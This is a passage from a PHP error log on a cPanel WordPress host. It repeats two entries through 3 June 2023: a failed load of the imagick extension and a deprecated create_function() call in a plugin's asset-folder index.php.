open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:52:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:53:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:53:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:55:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:55:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:55:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:55:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:57:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:57:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:57:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:57:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:58:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:58:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:58:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:58:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:59:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:59:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:02:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:02:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:02:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:02:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:03:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:03:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:03:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:03:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:04:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:04:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:05:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:05:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:05:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:05:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:06:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:06:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:07:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:07:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:07:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:07:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:07:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:07:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:08:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:08:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:08:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:08:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:08:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:08:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:09:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:09:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:10:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:10:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:10:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:10:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:11:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:11:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 16:29:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 16:29:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 17:30:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 17:30:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 18:31:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 18:31:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 19:32:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 19:32:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 20:33:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 20:33:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 21:33:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 21:33:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:07:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:07:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:08:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:08:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:09:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:09:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:10:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:10:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:12:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:12:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:13:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:13:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:14:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:14:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:15:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:15:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:16:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:16:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:18:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:18:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:19:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:19:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:21:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:21:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:22:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:22:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:23:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:23:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:25:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so 